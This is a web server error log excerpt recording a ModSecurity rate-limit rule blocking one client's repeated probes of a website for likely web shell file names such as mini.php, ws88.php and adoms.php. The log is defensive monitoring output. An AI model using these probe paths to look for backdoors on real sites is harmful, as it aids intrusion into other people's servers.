[Thu Apr 23 21:30:00.684988 2026] [:error] [pid 42973:tid 43062] [client 20.251.223.35:59767] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoe2G6I0QqmmmLTHE0d2wAAAJM"]
[Thu Apr 23 21:30:01.248172 2026] [:error] [pid 64998:tid 65022] [client 20.251.223.35:53485] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoe2YV5EysYcTLjmwiA4AAAAdQ"]
[Thu Apr 23 21:30:01.850575 2026] [:error] [pid 65000:tid 65049] [client 20.251.223.35:61836] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoe2b6vRb9j6psK2ZaN7QAAAhA"]
[Thu Apr 23 21:30:02.020746 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:56498] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoe2r6vRb9j6psK2ZaN8AAAAgQ"]
[Thu Apr 23 21:30:02.508392 2026] [:error] [pid 46953:tid 46970] [client 20.251.223.35:30189] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoe2knlpdHh-P6wKbo6egAAAk4"]
[Thu Apr 23 21:30:03.327608 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:43076] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoe276vRb9j6psK2ZaN9AAAAg0"]
[Thu Apr 23 21:30:03.426520 2026] [:error] [pid 65000:tid 65030] [client 20.251.223.35:30178] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoe276vRb9j6psK2ZaN9gAAAgE"]
[Thu Apr 23 21:30:04.121134 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:30186] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoe3IV5EysYcTLjmwiA7wAAAcA"]
[Thu Apr 23 21:30:04.698730 2026] [:error] [pid 59700:tid 59706] [client 20.251.223.35:56546] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoe3JXyGZJFeAIDWtkq_wAAAUQ"]
[Thu Apr 23 21:30:05.269415 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:56524] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeoe3b6vRb9j6psK2ZaN-AAAAhQ"]
[Thu Apr 23 21:30:05.715300 2026] [:error] [pid 42972:tid 43020] [client 20.251.223.35:32513] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoe3cOAb-3sOknsk4c_OwAAAEQ"]
[Thu Apr 23 21:30:09.292316 2026] [proxy_fcgi:error] [pid 64998:tid 65022] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:09.555670 2026] [proxy_fcgi:error] [pid 64998:tid 65020] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:09.602579 2026] [proxy_fcgi:error] [pid 65000:tid 65052] [client 20.251.223.35:59759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:09.852090 2026] [proxy_fcgi:error] [pid 64998:tid 65003] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:09.867568 2026] [proxy_fcgi:error] [pid 65000:tid 65030] [client 20.251.223.35:59759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.114667 2026] [proxy_fcgi:error] [pid 64998:tid 65006] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.129573 2026] [proxy_fcgi:error] [pid 65000:tid 65053] [client 20.251.223.35:59759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.394500 2026] [proxy_fcgi:error] [pid 65000:tid 65031] [client 20.251.223.35:59759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.395409 2026] [proxy_fcgi:error] [pid 64998:tid 65024] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.658040 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 20.251.223.35:59724] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.688874 2026] [proxy_fcgi:error] [pid 65000:tid 65048] [client 20.251.223.35:59759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:30:10.918035 2026] [:error] [pid 64998:tid 65008] [client 20.251.223.35:59724] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoe4oV5EysYcTLjmwiBEwAAAcY"]
[Thu Apr 23 21:30:10.966586 2026] [:error] [pid 65000:tid 65032] [client 20.251.223.35:59759] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe4r6vRb9j6psK2ZaOFgAAAgM"]
[Thu Apr 23 21:30:13.331779 2026] [:error] [pid 65000:tid 65054] [client 20.251.223.35:33265] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoe5b6vRb9j6psK2ZaOHwAAAhU"]
[Thu Apr 23 21:30:14.531916 2026] [:error] [pid 64998:tid 65013] [client 20.251.223.35:43108] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe5oV5EysYcTLjmwiBHgAAAcs"]
[Thu Apr 23 21:30:15.900692 2026] [:error] [pid 65000:tid 65040] [client 20.251.223.35:30145] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoe576vRb9j6psK2ZaOOwAAAgc"]
[Thu Apr 23 21:30:18.495164 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:32560] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeoe6r6vRb9j6psK2ZaOTQAAAgQ"]
[Thu Apr 23 21:30:18.534484 2026] [:error] [pid 59700:tid 59710] [client 20.251.223.35:61831] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe6pXyGZJFeAIDWtkrAAAAAUg"]
[Thu Apr 23 21:30:19.804113 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:5582] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoe676vRb9j6psK2ZaOUgAAAgQ"]
[Thu Apr 23 21:30:20.525063 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:49006] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoe7MOAb-3sOknsk4c_XgAAAEA"]
[Thu Apr 23 21:30:20.602761 2026] [:error] [pid 42971:tid 43002] [client 20.251.223.35:33251] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe7DEP2_5RswrH8bEsUQAAABA"]
[Thu Apr 23 21:30:21.579891 2026] [:error] [pid 42972:tid 43031] [client 20.251.223.35:59726] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoe7cOAb-3sOknsk4c_ZgAAAE8"]
[Thu Apr 23 21:30:22.072266 2026] [:error] [pid 46953:tid 46956] [client 20.251.223.35:43074] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe7knlpdHh-P6wKbo6hAAAAkA"]
[Thu Apr 23 21:30:22.377939 2026] [:error] [pid 42973:tid 43065] [client 20.251.223.35:43106] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoe7m6I0QqmmmLTHE0d5AAAAJY"]
[Thu Apr 23 21:30:23.136500 2026] [:error] [pid 64998:tid 65026] [client 20.251.223.35:33262] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe74V5EysYcTLjmwiBNQAAAdg"]
[Thu Apr 23 21:30:23.434991 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:48377] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe776vRb9j6psK2ZaOfQAAAgQ"]
[Thu Apr 23 21:30:23.710680 2026] [:error] [pid 42973:tid 43047] [client 20.251.223.35:33246] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe726I0QqmmmLTHE0d5gAAAIQ"]
[Thu Apr 23 21:30:24.311944 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:43103] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe8MOAb-3sOknsk4c_qgAAAEo"]
[Thu Apr 23 21:30:24.413473 2026] [:error] [pid 42973:tid 43055] [client 20.251.223.35:5631] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe8G6I0QqmmmLTHE0d6AAAAIw"]
[Thu Apr 23 21:30:24.948852 2026] [:error] [pid 42973:tid 43064] [client 20.251.223.35:48960] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeoe8G6I0QqmmmLTHE0d7AAAAJU"]
[Thu Apr 23 21:30:25.035747 2026] [:error] [pid 42972:tid 43031] [client 20.251.223.35:43093] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe8cOAb-3sOknsk4c_qwAAAE8"]
[Thu Apr 23 21:30:25.795683 2026] [:error] [pid 46953:tid 46971] [client 20.251.223.35:48340] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe8UnlpdHh-P6wKbo6hgAAAk8"]
[Thu Apr 23 21:30:26.229145 2026] [:error] [pid 42972:tid 43025] [client 20.251.223.35:33235] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe8sOAb-3sOknsk4c_rgAAAEk"]
[Thu Apr 23 21:30:26.426291 2026] [:error] [pid 59700:tid 59714] [client 20.251.223.35:32515] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe8pXyGZJFeAIDWtkrCgAAAUw"]
[Thu Apr 23 21:30:27.010065 2026] [:error] [pid 59700:tid 59718] [client 20.251.223.35:32547] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe85XyGZJFeAIDWtkrDAAAAVA"]
[Thu Apr 23 21:30:27.114325 2026] [:error] [pid 59700:tid 59702] [client 20.251.223.35:32573] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe85XyGZJFeAIDWtkrDgAAAUA"]
[Thu Apr 23 21:30:27.705080 2026] [:error] [pid 59700:tid 59710] [client 20.251.223.35:33186] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeoe85XyGZJFeAIDWtkrEgAAAUg"]
[Thu Apr 23 21:30:28.018663 2026] [:error] [pid 46953:tid 46979] [client 20.251.223.35:5594] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe9EnlpdHh-P6wKbo6igAAAlY"]
[Thu Apr 23 21:30:28.426515 2026] [:error] [pid 59700:tid 59711] [client 20.251.223.35:59727] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe9JXyGZJFeAIDWtkrFgAAAUk"]
[Thu Apr 23 21:30:29.319652 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:32524] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe9b6vRb9j6psK2ZaOjwAAAg4"]
[Thu Apr 23 21:30:29.977084 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:33196] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe9b6vRb9j6psK2ZaOkgAAAhI"]
[Thu Apr 23 21:30:30.711926 2026] [:error] [pid 64998:tid 65025] [client 20.251.223.35:30172] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe9oV5EysYcTLjmwiBSwAAAdc"]
[Thu Apr 23 21:30:30.774556 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:54728] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe9oV5EysYcTLjmwiBTAAAAcg"]
[Thu Apr 23 21:30:31.361855 2026] [:error] [pid 65000:tid 65040] [client 20.251.223.35:49019] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe976vRb9j6psK2ZaOnAAAAgc"]
[Thu Apr 23 21:30:31.794124 2026] [:error] [pid 64998:tid 65012] [client 20.251.223.35:48369] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoe94V5EysYcTLjmwiBTgAAAco"]
[Thu Apr 23 21:30:31.919677 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:43100] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe976vRb9j6psK2ZaOngAAAgk"]
[Thu Apr 23 21:30:32.393000 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:30184] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe-MOAb-3sOknsk4c_tAAAAEA"]
[Thu Apr 23 21:30:32.499853 2026] [:error] [pid 65000:tid 65054] [client 20.251.223.35:38755] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe-L6vRb9j6psK2ZaOoQAAAhU"]
[Thu Apr 23 21:30:33.169866 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:59719] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe-b6vRb9j6psK2ZaOpQAAAgk"]
[Thu Apr 23 21:30:33.457014 2026] [:error] [pid 65000:tid 65038] [client 20.251.223.35:30151] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe-b6vRb9j6psK2ZaOpwAAAgU"]
[Thu Apr 23 21:30:33.732600 2026] [:error] [pid 42972:tid 43036] [client 20.251.223.35:30171] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe-cOAb-3sOknsk4c_tQAAAFQ"]
[Thu Apr 23 21:30:34.182649 2026] [:error] [pid 64998:tid 65023] [client 20.251.223.35:32516] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoe-oV5EysYcTLjmwiBUwAAAdU"]
[Thu Apr 23 21:30:34.513203 2026] [:error] [pid 64998:tid 65021] [client 20.251.223.35:48988] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoe-oV5EysYcTLjmwiBVQAAAdM"]
